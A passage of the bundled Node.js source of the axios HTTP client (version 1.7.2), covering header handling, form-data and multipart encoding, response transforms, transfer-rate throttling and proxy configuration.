const transitionalDefaults = {
  silentJSONParsing: true,
  forcedJSONParsing: true,
  clarifyTimeoutError: false
};

const URLSearchParams = url__default["default"].URLSearchParams;

const platform$1 = {
  isNode: true,
  classes: {
    URLSearchParams,
    FormData: FormData__default["default"],
    Blob: typeof Blob !== 'undefined' && Blob || null
  },
  protocols: [ 'http', 'https', 'file', 'data' ]
};

const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';

/**
 * Determine if we're running in a standard browser environment
 *
 * This allows axios to run in a web worker, and react-native.
 * Both environments support XMLHttpRequest, but not fully standard globals.
 *
 * web workers:
 *  typeof window -> undefined
 *  typeof document -> undefined
 *
 * react-native:
 *  navigator.product -> 'ReactNative'
 * nativescript
 *  navigator.product -> 'NativeScript' or 'NS'
 *
 * @returns {boolean}
 */
const hasStandardBrowserEnv = (
  (product) => {
    return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0
  })(typeof navigator !== 'undefined' && navigator.product);

/**
 * Determine if we're running in a standard browser webWorker environment
 *
 * Although the `isStandardBrowserEnv` method indicates that
 * `allows axios to run in a web worker`, the WebWorker will still be
 * filtered out due to its judgment standard
 * `typeof window !== 'undefined' && typeof document !== 'undefined'`.
 * This leads to a problem when axios post `FormData` in webWorker
 */
const hasStandardBrowserWebWorkerEnv = (() => {
  return (
    typeof WorkerGlobalScope !== 'undefined' &&
    // eslint-disable-next-line no-undef
    self instanceof WorkerGlobalScope &&
    typeof self.importScripts === 'function'
  );
})();

const origin = hasBrowserEnv && window.location.href || 'http://localhost';

const utils = /*#__PURE__*/Object.freeze({
  __proto__: null,
  hasBrowserEnv: hasBrowserEnv,
  hasStandardBrowserWebWorkerEnv: hasStandardBrowserWebWorkerEnv,
  hasStandardBrowserEnv: hasStandardBrowserEnv,
  origin: origin
});

const platform = {
  ...utils,
  ...platform$1
};

function toURLEncodedForm(data, options) {
  return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({
    visitor: function(value, key, path, helpers) {
      if (platform.isNode && utils$1.isBuffer(value)) {
        this.append(key, value.toString('base64'));
        return false;
      }

      return helpers.defaultVisitor.apply(this, arguments);
    }
  }, options));
}

/**
 * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']
 *
 * @param {string} name - The name of the property to get.
 *
 * @returns An array of strings.
 */
function parsePropPath(name) {
  // foo[x][y][z]
  // foo.x.y.z
  // foo-x-y-z
  // foo x y z
  return utils$1.matchAll(/\w+|\[(\w*)]/g, name).map(match => {
    return match[0] === '[]' ? '' : match[1] || match[0];
  });
}

/**
 * Convert an array to an object.
 *
 * @param {Array<any>} arr - The array to convert to an object.
 *
 * @returns An object with the same keys and values as the array.
 */
function arrayToObject(arr) {
  const obj = {};
  const keys = Object.keys(arr);
  let i;
  const len = keys.length;
  let key;
  for (i = 0; i < len; i++) {
    key = keys[i];
    obj[key] = arr[key];
  }
  return obj;
}

/**
 * It takes a FormData object and returns a JavaScript object
 *
 * @param {string} formData The FormData object to convert to JSON.
 *
 * @returns {Object<string, any> | null} The converted object.
 */
function formDataToJSON(formData) {
  function buildPath(path, value, target, index) {
    let name = path[index++];

    if (name === '__proto__') return true;

    const isNumericKey = Number.isFinite(+name);
    const isLast = index >= path.length;
    name = !name && utils$1.isArray(target) ? target.length : name;

    if (isLast) {
      if (utils$1.hasOwnProp(target, name)) {
        target[name] = [target[name], value];
      } else {
        target[name] = value;
      }

      return !isNumericKey;
    }

    if (!target[name] || !utils$1.isObject(target[name])) {
      target[name] = [];
    }

    const result = buildPath(path, value, target[name], index);

    if (result && utils$1.isArray(target[name])) {
      target[name] = arrayToObject(target[name]);
    }

    return !isNumericKey;
  }

  if (utils$1.isFormData(formData) && utils$1.isFunction(formData.entries)) {
    const obj = {};

    utils$1.forEachEntry(formData, (name, value) => {
      buildPath(parsePropPath(name), value, obj, 0);
    });

    return obj;
  }

  return null;
}

/**
 * It takes a string, tries to parse it, and if it fails, it returns the stringified version
 * of the input
 *
 * @param {any} rawValue - The value to be stringified.
 * @param {Function} parser - A function that parses a string into a JavaScript object.
 * @param {Function} encoder - A function that takes a value and returns a string.
 *
 * @returns {string} A stringified version of the rawValue.
 */
function stringifySafely(rawValue, parser, encoder) {
  if (utils$1.isString(rawValue)) {
    try {
      (parser || JSON.parse)(rawValue);
      return utils$1.trim(rawValue);
    } catch (e) {
      if (e.name !== 'SyntaxError') {
        throw e;
      }
    }
  }

  return (encoder || JSON.stringify)(rawValue);
}

const defaults = {

  transitional: transitionalDefaults,

  adapter: ['xhr', 'http', 'fetch'],

  transformRequest: [function transformRequest(data, headers) {
    const contentType = headers.getContentType() || '';
    const hasJSONContentType = contentType.indexOf('application/json') > -1;
    const isObjectPayload = utils$1.isObject(data);

    if (isObjectPayload && utils$1.isHTMLForm(data)) {
      data = new FormData(data);
    }

    const isFormData = utils$1.isFormData(data);

    if (isFormData) {
      return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;
    }

    if (utils$1.isArrayBuffer(data) ||
      utils$1.isBuffer(data) ||
      utils$1.isStream(data) ||
      utils$1.isFile(data) ||
      utils$1.isBlob(data) ||
      utils$1.isReadableStream(data)
    ) {
      return data;
    }
    if (utils$1.isArrayBufferView(data)) {
      return data.buffer;
    }
    if (utils$1.isURLSearchParams(data)) {
      headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);
      return data.toString();
    }

    let isFileList;

    if (isObjectPayload) {
      if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {
        return toURLEncodedForm(data, this.formSerializer).toString();
      }

      if ((isFileList = utils$1.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {
        const _FormData = this.env && this.env.FormData;

        return toFormData(
          isFileList ? {'files[]': data} : data,
          _FormData && new _FormData(),
          this.formSerializer
        );
      }
    }

    if (isObjectPayload || hasJSONContentType ) {
      headers.setContentType('application/json', false);
      return stringifySafely(data);
    }

    return data;
  }],

  transformResponse: [function transformResponse(data) {
    const transitional = this.transitional || defaults.transitional;
    const forcedJSONParsing = transitional && transitional.forcedJSONParsing;
    const JSONRequested = this.responseType === 'json';

    if (utils$1.isResponse(data) || utils$1.isReadableStream(data)) {
      return data;
    }

    if (data && utils$1.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
      const silentJSONParsing = transitional && transitional.silentJSONParsing;
      const strictJSONParsing = !silentJSONParsing && JSONRequested;

      try {
        return JSON.parse(data);
      } catch (e) {
        if (strictJSONParsing) {
          if (e.name === 'SyntaxError') {
            throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);
          }
          throw e;
        }
      }
    }

    return data;
  }],

  /**
   * A timeout in milliseconds to abort a request. If set to 0 (default) a
   * timeout is not created.
   */
  timeout: 0,

  xsrfCookieName: 'XSRF-TOKEN',
  xsrfHeaderName: 'X-XSRF-TOKEN',

  maxContentLength: -1,
  maxBodyLength: -1,

  env: {
    FormData: platform.classes.FormData,
    Blob: platform.classes.Blob
  },

  validateStatus: function validateStatus(status) {
    return status >= 200 && status < 300;
  },

  headers: {
    common: {
      'Accept': 'application/json, text/plain, */*',
      'Content-Type': undefined
    }
  }
};

utils$1.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {
  defaults.headers[method] = {};
});

const defaults$1 = defaults;

// RawAxiosHeaders whose duplicates are ignored by node
// c.f. https://nodejs.org/api/http.html#http_message_headers
const ignoreDuplicateOf = utils$1.toObjectSet([
  'age', 'authorization', 'content-length', 'content-type', 'etag',
  'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',
  'last-modified', 'location', 'max-forwards', 'proxy-authorization',
  'referer', 'retry-after', 'user-agent'
]);

/**
 * Parse headers into an object
 *
 * ```
 * Date: Wed, 27 Aug 2014 08:58:49 GMT
 * Content-Type: application/json
 * Connection: keep-alive
 * Transfer-Encoding: chunked
 * ```
 *
 * @param {String} rawHeaders Headers needing to be parsed
 *
 * @returns {Object} Headers parsed into an object
 */
const parseHeaders = rawHeaders => {
  const parsed = {};
  let key;
  let val;
  let i;

  rawHeaders && rawHeaders.split('\n').forEach(function parser(line) {
    i = line.indexOf(':');
    key = line.substring(0, i).trim().toLowerCase();
    val = line.substring(i + 1).trim();

    if (!key || (parsed[key] && ignoreDuplicateOf[key])) {
      return;
    }

    if (key === 'set-cookie') {
      if (parsed[key]) {
        parsed[key].push(val);
      } else {
        parsed[key] = [val];
      }
    } else {
      parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;
    }
  });

  return parsed;
};

const $internals = Symbol('internals');

function normalizeHeader(header) {
  return header && String(header).trim().toLowerCase();
}

function normalizeValue(value) {
  if (value === false || value == null) {
    return value;
  }

  return utils$1.isArray(value) ? value.map(normalizeValue) : String(value);
}

function parseTokens(str) {
  const tokens = Object.create(null);
  const tokensRE = /([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g;
  let match;

  while ((match = tokensRE.exec(str))) {
    tokens[match[1]] = match[2];
  }

  return tokens;
}

const isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());

function matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {
  if (utils$1.isFunction(filter)) {
    return filter.call(this, value, header);
  }

  if (isHeaderNameFilter) {
    value = header;
  }

  if (!utils$1.isString(value)) return;

  if (utils$1.isString(filter)) {
    return value.indexOf(filter) !== -1;
  }

  if (utils$1.isRegExp(filter)) {
    return filter.test(value);
  }
}

function formatHeader(header) {
  return header.trim()
    .toLowerCase().replace(/([a-z\d])(\w*)/g, (w, char, str) => {
      return char.toUpperCase() + str;
    });
}

function buildAccessors(obj, header) {
  const accessorName = utils$1.toCamelCase(' ' + header);

  ['get', 'set', 'has'].forEach(methodName => {
    Object.defineProperty(obj, methodName + accessorName, {
      value: function(arg1, arg2, arg3) {
        return this[methodName].call(this, header, arg1, arg2, arg3);
      },
      configurable: true
    });
  });
}

class AxiosHeaders {
  constructor(headers) {
    headers && this.set(headers);
  }

  set(header, valueOrRewrite, rewrite) {
    const self = this;

    function setHeader(_value, _header, _rewrite) {
      const lHeader = normalizeHeader(_header);

      if (!lHeader) {
        throw new Error('header name must be a non-empty string');
      }

      const key = utils$1.findKey(self, lHeader);

      if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {
        self[key || _header] = normalizeValue(_value);
      }
    }

    const setHeaders = (headers, _rewrite) =>
      utils$1.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));

    if (utils$1.isPlainObject(header) || header instanceof this.constructor) {
      setHeaders(header, valueOrRewrite);
    } else if(utils$1.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {
      setHeaders(parseHeaders(header), valueOrRewrite);
    } else if (utils$1.isHeaders(header)) {
      for (const [key, value] of header.entries()) {
        setHeader(value, key, rewrite);
      }
    } else {
      header != null && setHeader(valueOrRewrite, header, rewrite);
    }

    return this;
  }

  get(header, parser) {
    header = normalizeHeader(header);

    if (header) {
      const key = utils$1.findKey(this, header);

      if (key) {
        const value = this[key];

        if (!parser) {
          return value;
        }

        if (parser === true) {
          return parseTokens(value);
        }

        if (utils$1.isFunction(parser)) {
          return parser.call(this, value, key);
        }

        if (utils$1.isRegExp(parser)) {
          return parser.exec(value);
        }

        throw new TypeError('parser must be boolean|regexp|function');
      }
    }
  }

  has(header, matcher) {
    header = normalizeHeader(header);

    if (header) {
      const key = utils$1.findKey(this, header);

      return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));
    }

    return false;
  }

  delete(header, matcher) {
    const self = this;
    let deleted = false;

    function deleteHeader(_header) {
      _header = normalizeHeader(_header);

      if (_header) {
        const key = utils$1.findKey(self, _header);

        if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {
          delete self[key];

          deleted = true;
        }
      }
    }

    if (utils$1.isArray(header)) {
      header.forEach(deleteHeader);
    } else {
      deleteHeader(header);
    }

    return deleted;
  }

  clear(matcher) {
    const keys = Object.keys(this);
    let i = keys.length;
    let deleted = false;

    while (i--) {
      const key = keys[i];
      if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {
        delete this[key];
        deleted = true;
      }
    }

    return deleted;
  }

  normalize(format) {
    const self = this;
    const headers = {};

    utils$1.forEach(this, (value, header) => {
      const key = utils$1.findKey(headers, header);

      if (key) {
        self[key] = normalizeValue(value);
        delete self[header];
        return;
      }

      const normalized = format ? formatHeader(header) : String(header).trim();

      if (normalized !== header) {
        delete self[header];
      }

      self[normalized] = normalizeValue(value);

      headers[normalized] = true;
    });

    return this;
  }

  concat(...targets) {
    return this.constructor.concat(this, ...targets);
  }

  toJSON(asStrings) {
    const obj = Object.create(null);

    utils$1.forEach(this, (value, header) => {
      value != null && value !== false && (obj[header] = asStrings && utils$1.isArray(value) ? value.join(', ') : value);
    });

    return obj;
  }

  [Symbol.iterator]() {
    return Object.entries(this.toJSON())[Symbol.iterator]();
  }

  toString() {
    return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\n');
  }

  get [Symbol.toStringTag]() {
    return 'AxiosHeaders';
  }

  static from(thing) {
    return thing instanceof this ? thing : new this(thing);
  }

  static concat(first, ...targets) {
    const computed = new this(first);

    targets.forEach((target) => computed.set(target));

    return computed;
  }

  static accessor(header) {
    const internals = this[$internals] = (this[$internals] = {
      accessors: {}
    });

    const accessors = internals.accessors;
    const prototype = this.prototype;

    function defineAccessor(_header) {
      const lHeader = normalizeHeader(_header);

      if (!accessors[lHeader]) {
        buildAccessors(prototype, _header);
        accessors[lHeader] = true;
      }
    }

    utils$1.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);

    return this;
  }
}

AxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);

// reserved names hotfix
utils$1.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {
  let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`
  return {
    get: () => value,
    set(headerValue) {
      this[mapped] = headerValue;
    }
  }
});

utils$1.freezeMethods(AxiosHeaders);

const AxiosHeaders$1 = AxiosHeaders;

/**
 * Transform the data for a request or a response
 *
 * @param {Array|Function} fns A single function or Array of functions
 * @param {?Object} response The response object
 *
 * @returns {*} The resulting transformed data
 */
function transformData(fns, response) {
  const config = this || defaults$1;
  const context = response || config;
  const headers = AxiosHeaders$1.from(context.headers);
  let data = context.data;

  utils$1.forEach(fns, function transform(fn) {
    data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
  });

  headers.normalize();

  return data;
}

function isCancel(value) {
  return !!(value && value.__CANCEL__);
}

/**
 * A `CanceledError` is an object that is thrown when an operation is canceled.
 *
 * @param {string=} message The message.
 * @param {Object=} config The config.
 * @param {Object=} request The request.
 *
 * @returns {CanceledError} The created error.
 */
function CanceledError(message, config, request) {
  // eslint-disable-next-line no-eq-null,eqeqeq
  AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);
  this.name = 'CanceledError';
}

utils$1.inherits(CanceledError, AxiosError, {
  __CANCEL__: true
});

/**
 * Resolve or reject a Promise based on response status.
 *
 * @param {Function} resolve A function that resolves the promise.
 * @param {Function} reject A function that rejects the promise.
 * @param {object} response The response.
 *
 * @returns {object} The response.
 */
function settle(resolve, reject, response) {
  const validateStatus = response.config.validateStatus;
  if (!response.status || !validateStatus || validateStatus(response.status)) {
    resolve(response);
  } else {
    reject(new AxiosError(
      'Request failed with status code ' + response.status,
      [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],
      response.config,
      response.request,
      response
    ));
  }
}

/**
 * Determines whether the specified URL is absolute
 *
 * @param {string} url The URL to test
 *
 * @returns {boolean} True if the specified URL is absolute, otherwise false
 */
function isAbsoluteURL(url) {
  // A URL is considered absolute if it begins with "<scheme>://" or "//" (protocol-relative URL).
  // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed
  // by any combination of letters, digits, plus, period, or hyphen.
  return /^([a-z][a-z\d+\-.]*:)?\/\//i.test(url);
}

/**
 * Creates a new URL by combining the specified URLs
 *
 * @param {string} baseURL The base URL
 * @param {string} relativeURL The relative URL
 *
 * @returns {string} The combined URL
 */
function combineURLs(baseURL, relativeURL) {
  return relativeURL
    ? baseURL.replace(/\/?\/$/, '') + '/' + relativeURL.replace(/^\/+/, '')
    : baseURL;
}

/**
 * Creates a new URL by combining the baseURL with the requestedURL,
 * only when the requestedURL is not already an absolute URL.
 * If the requestURL is absolute, this function returns the requestedURL untouched.
 *
 * @param {string} baseURL The base URL
 * @param {string} requestedURL Absolute or relative URL to combine
 *
 * @returns {string} The combined full path
 */
function buildFullPath(baseURL, requestedURL) {
  if (baseURL && !isAbsoluteURL(requestedURL)) {
    return combineURLs(baseURL, requestedURL);
  }
  return requestedURL;
}

const VERSION = "1.7.2";

function parseProtocol(url) {
  const match = /^([-+\w]{1,25})(:?\/\/|:)/.exec(url);
  return match && match[1] || '';
}

const DATA_URL_PATTERN = /^(?:([^;]+);)?(?:[^;]+;)?(base64|),([\s\S]*)$/;

/**
 * Parse data uri to a Buffer or Blob
 *
 * @param {String} uri
 * @param {?Boolean} asBlob
 * @param {?Object} options
 * @param {?Function} options.Blob
 *
 * @returns {Buffer|Blob}
 */
function fromDataURI(uri, asBlob, options) {
  const _Blob = options && options.Blob || platform.classes.Blob;
  const protocol = parseProtocol(uri);

  if (asBlob === undefined && _Blob) {
    asBlob = true;
  }

  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;

    const match = DATA_URL_PATTERN.exec(uri);

    if (!match) {
      throw new AxiosError('Invalid URL', AxiosError.ERR_INVALID_URL);
    }

    const mime = match[1];
    const isBase64 = match[2];
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');

    if (asBlob) {
      if (!_Blob) {
        throw new AxiosError('Blob is not supported', AxiosError.ERR_NOT_SUPPORT);
      }

      return new _Blob([buffer], {type: mime});
    }

    return buffer;
  }

  throw new AxiosError('Unsupported protocol ' + protocol, AxiosError.ERR_NOT_SUPPORT);
}

/**
 * Throttle decorator
 * @param {Function} fn
 * @param {Number} freq
 * @return {Function}
 */
function throttle(fn, freq) {
  let timestamp = 0;
  const threshold = 1000 / freq;
  let timer = null;
  return function throttled() {
    const force = this === true;

    const now = Date.now();
    if (force || now - timestamp > threshold) {
      if (timer) {
        clearTimeout(timer);
        timer = null;
      }
      timestamp = now;
      return fn.apply(null, arguments);
    }
    if (!timer) {
      timer = setTimeout(() => {
        timer = null;
        timestamp = Date.now();
        return fn.apply(null, arguments);
      }, threshold - (now - timestamp));
    }
  };
}

/**
 * Calculate data maxRate
 * @param {Number} [samplesCount= 10]
 * @param {Number} [min= 1000]
 * @returns {Function}
 */
function speedometer(samplesCount, min) {
  samplesCount = samplesCount || 10;
  const bytes = new Array(samplesCount);
  const timestamps = new Array(samplesCount);
  let head = 0;
  let tail = 0;
  let firstSampleTS;

  min = min !== undefined ? min : 1000;

  return function push(chunkLength) {
    const now = Date.now();

    const startedAt = timestamps[tail];

    if (!firstSampleTS) {
      firstSampleTS = now;
    }

    bytes[head] = chunkLength;
    timestamps[head] = now;

    let i = tail;
    let bytesCount = 0;

    while (i !== head) {
      bytesCount += bytes[i++];
      i = i % samplesCount;
    }

    head = (head + 1) % samplesCount;

    if (head === tail) {
      tail = (tail + 1) % samplesCount;
    }

    if (now - firstSampleTS < min) {
      return;
    }

    const passed = startedAt && now - startedAt;

    return passed ? Math.round(bytesCount * 1000 / passed) : undefined;
  };
}

const kInternals = Symbol('internals');

class AxiosTransformStream extends stream__default["default"].Transform{
  constructor(options) {
    options = utils$1.toFlatObject(options, {
      maxRate: 0,
      chunkSize: 64 * 1024,
      minChunkSize: 100,
      timeWindow: 500,
      ticksRate: 2,
      samplesCount: 15
    }, null, (prop, source) => {
      return !utils$1.isUndefined(source[prop]);
    });

    super({
      readableHighWaterMark: options.chunkSize
    });

    const self = this;

    const internals = this[kInternals] = {
      length: options.length,
      timeWindow: options.timeWindow,
      ticksRate: options.ticksRate,
      chunkSize: options.chunkSize,
      maxRate: options.maxRate,
      minChunkSize: options.minChunkSize,
      bytesSeen: 0,
      isCaptured: false,
      notifiedBytesLoaded: 0,
      ts: Date.now(),
      bytes: 0,
      onReadCallback: null
    };

    const _speedometer = speedometer(internals.ticksRate * options.samplesCount, internals.timeWindow);

    this.on('newListener', event => {
      if (event === 'progress') {
        if (!internals.isCaptured) {
          internals.isCaptured = true;
        }
      }
    });

    let bytesNotified = 0;

    internals.updateProgress = throttle(function throttledHandler() {
      const totalBytes = internals.length;
      const bytesTransferred = internals.bytesSeen;
      const progressBytes = bytesTransferred - bytesNotified;
      if (!progressBytes || self.destroyed) return;

      const rate = _speedometer(progressBytes);

      bytesNotified = bytesTransferred;

      process.nextTick(() => {
        self.emit('progress', {
          loaded: bytesTransferred,
          total: totalBytes,
          progress: totalBytes ? (bytesTransferred / totalBytes) : undefined,
          bytes: progressBytes,
          rate: rate ? rate : undefined,
          estimated: rate && totalBytes && bytesTransferred <= totalBytes ?
            (totalBytes - bytesTransferred) / rate : undefined,
          lengthComputable: totalBytes != null
        });
      });
    }, internals.ticksRate);

    const onFinish = () => {
      internals.updateProgress.call(true);
    };

    this.once('end', onFinish);
    this.once('error', onFinish);
  }

  _read(size) {
    const internals = this[kInternals];

    if (internals.onReadCallback) {
      internals.onReadCallback();
    }

    return super._read(size);
  }

  _transform(chunk, encoding, callback) {
    const self = this;
    const internals = this[kInternals];
    const maxRate = internals.maxRate;

    const readableHighWaterMark = this.readableHighWaterMark;

    const timeWindow = internals.timeWindow;

    const divider = 1000 / timeWindow;
    const bytesThreshold = (maxRate / divider);
    const minChunkSize = internals.minChunkSize !== false ? Math.max(internals.minChunkSize, bytesThreshold * 0.01) : 0;

    function pushChunk(_chunk, _callback) {
      const bytes = Buffer.byteLength(_chunk);
      internals.bytesSeen += bytes;
      internals.bytes += bytes;

      if (internals.isCaptured) {
        internals.updateProgress();
      }

      if (self.push(_chunk)) {
        process.nextTick(_callback);
      } else {
        internals.onReadCallback = () => {
          internals.onReadCallback = null;
          process.nextTick(_callback);
        };
      }
    }

    const transformChunk = (_chunk, _callback) => {
      const chunkSize = Buffer.byteLength(_chunk);
      let chunkRemainder = null;
      let maxChunkSize = readableHighWaterMark;
      let bytesLeft;
      let passed = 0;

      if (maxRate) {
        const now = Date.now();

        if (!internals.ts || (passed = (now - internals.ts)) >= timeWindow) {
          internals.ts = now;
          bytesLeft = bytesThreshold - internals.bytes;
          internals.bytes = bytesLeft < 0 ? -bytesLeft : 0;
          passed = 0;
        }

        bytesLeft = bytesThreshold - internals.bytes;
      }

      if (maxRate) {
        if (bytesLeft <= 0) {
          // next time window
          return setTimeout(() => {
            _callback(null, _chunk);
          }, timeWindow - passed);
        }

        if (bytesLeft < maxChunkSize) {
          maxChunkSize = bytesLeft;
        }
      }

      if (maxChunkSize && chunkSize > maxChunkSize && (chunkSize - maxChunkSize) > minChunkSize) {
        chunkRemainder = _chunk.subarray(maxChunkSize);
        _chunk = _chunk.subarray(0, maxChunkSize);
      }

      pushChunk(_chunk, chunkRemainder ? () => {
        process.nextTick(_callback, null, chunkRemainder);
      } : _callback);
    };

    transformChunk(chunk, function transformNextChunk(err, _chunk) {
      if (err) {
        return callback(err);
      }

      if (_chunk) {
        transformChunk(_chunk, transformNextChunk);
      } else {
        callback(null);
      }
    });
  }

  setLength(length) {
    this[kInternals].length = +length;
    return this;
  }
}

const AxiosTransformStream$1 = AxiosTransformStream;

const {asyncIterator} = Symbol;

const readBlob = async function* (blob) {
  if (blob.stream) {
    yield* blob.stream();
  } else if (blob.arrayBuffer) {
    yield await blob.arrayBuffer();
  } else if (blob[asyncIterator]) {
    yield* blob[asyncIterator]();
  } else {
    yield blob;
  }
};

const readBlob$1 = readBlob;

const BOUNDARY_ALPHABET = utils$1.ALPHABET.ALPHA_DIGIT + '-_';

const textEncoder = new util.TextEncoder();

const CRLF = '\r\n';
const CRLF_BYTES = textEncoder.encode(CRLF);
const CRLF_BYTES_COUNT = 2;

class FormDataPart {
  constructor(name, value) {
    const {escapeName} = this.constructor;
    const isStringValue = utils$1.isString(value);

    let headers = `Content-Disposition: form-data; name="${escapeName(name)}"${
      !isStringValue && value.name ? `; filename="${escapeName(value.name)}"` : ''
    }${CRLF}`;

    if (isStringValue) {
      value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF));
    } else {
      headers += `Content-Type: ${value.type || "application/octet-stream"}${CRLF}`;
    }

    this.headers = textEncoder.encode(headers + CRLF);

    this.contentLength = isStringValue ? value.byteLength : value.size;

    this.size = this.headers.byteLength + this.contentLength + CRLF_BYTES_COUNT;

    this.name = name;
    this.value = value;
  }

  async *encode(){
    yield this.headers;

    const {value} = this;

    if(utils$1.isTypedArray(value)) {
      yield value;
    } else {
      yield* readBlob$1(value);
    }

    yield CRLF_BYTES;
  }

  static escapeName(name) {
      return String(name).replace(/[\r\n"]/g, (match) => ({
        '\r' : '%0D',
        '\n' : '%0A',
        '"' : '%22',
      }[match]));
  }
}

const formDataToStream = (form, headersHandler, options) => {
  const {
    tag = 'form-data-boundary',
    size = 25,
    boundary = tag + '-' + utils$1.generateString(size, BOUNDARY_ALPHABET)
  } = options || {};

  if(!utils$1.isFormData(form)) {
    throw TypeError('FormData instance required');
  }

  if (boundary.length < 1 || boundary.length > 70) {
    throw Error('boundary must be 10-70 characters long')
  }

  const boundaryBytes = textEncoder.encode('--' + boundary + CRLF);
  const footerBytes = textEncoder.encode('--' + boundary + '--' + CRLF + CRLF);
  let contentLength = footerBytes.byteLength;

  const parts = Array.from(form.entries()).map(([name, value]) => {
    const part = new FormDataPart(name, value);
    contentLength += part.size;
    return part;
  });

  contentLength += boundaryBytes.byteLength * parts.length;

  contentLength = utils$1.toFiniteNumber(contentLength);

  const computedHeaders = {
    'Content-Type': `multipart/form-data; boundary=${boundary}`
  };

  if (Number.isFinite(contentLength)) {
    computedHeaders['Content-Length'] = contentLength;
  }

  headersHandler && headersHandler(computedHeaders);

  return stream.Readable.from((async function *() {
    for(const part of parts) {
      yield boundaryBytes;
      yield* part.encode();
    }

    yield footerBytes;
  })());
};

const formDataToStream$1 = formDataToStream;

class ZlibHeaderTransformStream extends stream__default["default"].Transform {
  __transform(chunk, encoding, callback) {
    this.push(chunk);
    callback();
  }

  _transform(chunk, encoding, callback) {
    if (chunk.length !== 0) {
      this._transform = this.__transform;

      // Add Default Compression headers if no zlib headers are present
      if (chunk[0] !== 120) { // Hex: 78
        const header = Buffer.alloc(2);
        header[0] = 120; // Hex: 78
        header[1] = 156; // Hex: 9C 
        this.push(header, encoding);
      }
    }

    this.__transform(chunk, encoding, callback);
  }
}

const ZlibHeaderTransformStream$1 = ZlibHeaderTransformStream;

const callbackify = (fn, reducer) => {
  return utils$1.isAsyncFn(fn) ? function (...args) {
    const cb = args.pop();
    fn.apply(this, args).then((value) => {
      try {
        reducer ? cb(null, ...reducer(value)) : cb(null, value);
      } catch (err) {
        cb(err);
      }
    }, cb);
  } : fn;
};

const callbackify$1 = callbackify;

const zlibOptions = {
  flush: zlib__default["default"].constants.Z_SYNC_FLUSH,
  finishFlush: zlib__default["default"].constants.Z_SYNC_FLUSH
};

const brotliOptions = {
  flush: zlib__default["default"].constants.BROTLI_OPERATION_FLUSH,
  finishFlush: zlib__default["default"].constants.BROTLI_OPERATION_FLUSH
};

const isBrotliSupported = utils$1.isFunction(zlib__default["default"].createBrotliDecompress);

const {http: httpFollow, https: httpsFollow} = followRedirects__default["default"];

const isHttps = /https:?/;

const supportedProtocols = platform.protocols.map(protocol => {
  return protocol + ':';
});

/**
 * If the proxy or config beforeRedirects functions are defined, call them with the options
 * object.
 *
 * @param {Object<string, any>} options - The options object that was passed to the request.
 *
 * @returns {Object<string, any>}
 */
function dispatchBeforeRedirect(options, responseDetails) {
  if (options.beforeRedirects.proxy) {
    options.beforeRedirects.proxy(options);
  }
  if (options.beforeRedirects.config) {
    options.beforeRedirects.config(options, responseDetails);
  }
}

/**
 * If the proxy or config afterRedirects functions are defined, call them with the options
 *
 * @param {http.ClientRequestArgs} options
 * @param {AxiosProxyConfig} configProxy configuration from Axios options object
 * @param {string} location
 *
 * @returns {http.ClientRequestArgs}
 */
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  if (!proxy && proxy !== false) {
    const proxyUrl = proxyFromEnv.getProxyForUrl(location);
    if (proxyUrl) {
      proxy = new URL(proxyUrl);
    }
  }
  if (proxy) {
    // Basic proxy authorization
    if (proxy.username) {
      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
    }

    if (proxy.auth) {
      // Support proxy auth object form
      if (proxy.auth.username || proxy.auth.password) {
        proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');
      }
      const base64 = Buffer
        .from(proxy.auth, 'utf8')
        .toString('base64');
      options.headers['Proxy-Authorization'] = 'Basic ' + base64;
    }

    options.headers.host = options.hostname + (options.port ? ':' + options.port : '');
    const proxyHost = proxy.hostname || proxy.host;
    options.hostname = proxyHost;
    // Replace 'host' since options is not a URL object
    options.host = proxyHost;
    options.port = proxy.port;
    options.path = location;
    if (proxy.protocol) {
      options.protocol = proxy.protocol.includes(':') ? proxy.protocol : `${proxy.protocol}:`;
    }
  }

  options.beforeRedirects.proxy = function beforeRedirect(redirectOptions) {
    // Configure proxy for redirected request, passing the original config proxy to apply
    // the exact same logic as if the redirected request was performed by axios directly.
    setProxy(redirectOptions, configProxy, redirectOptions.href);
  };
}

